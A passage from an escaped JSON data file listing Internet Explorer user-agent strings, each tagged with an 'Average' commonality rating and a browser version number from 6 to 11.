HPDTDFJS)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MALNJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; InfoPath.3; MS-RTC LM 8; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident\\/4.0; SLCC1)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; yie11; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MAAU)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Trident\\/7.0; rv 11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"'Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0)'\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; chromeframe\\/32.0.1700.107; GTB7.5; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib\\/5.0\\\\0195; Engine\\/4.00195; 89670803)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; openframe\\/30.0.0.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MASAJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MALNJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MDDCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MALNJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; ASU2JS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; WOW64; MSIE 10.0; Windows NT 6.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; UHG_Win7_Build 11-15-2010)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MALNJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MAPBJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MATBJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MASBJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; Trident\\/7.0; managedpc; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; yie8)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; ASJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENCAWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; FunWebProducts; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MATM; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Win64; x64; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; FunWebProducts)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MASMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; CTL_11; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; yie10)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; f9J; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; ASU2JS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/6.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MALCJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MAARJS)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENUSMCM; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MATM)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; ASU2JS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENUSMSE; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; yie9)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 10.0; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;MyIE2; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.0) Match by Siteimprove.com\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE11;ENUSMSN; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; XF_mmhpset)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENGB)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MATBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident\\/4.0; GTB0.0; JobsSearchToolbar 1.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;FRFR)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MATMJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MASMJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MAAU; NP09)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; FunWebProducts)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;NLNL)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:QUALIFIED)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident\\/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED\\/1.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI\\/2; MAGW)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MAPBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; InfoPath.3; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident\\/6.0; IEMobile\\/10.0; ARM; Touch; NOKIA; 909)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; TNJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MAARJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MASAJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MAGWJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MATPJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; CPNTDFJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3; HO32600; HO32600R)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 640 LTE) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;ENUS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 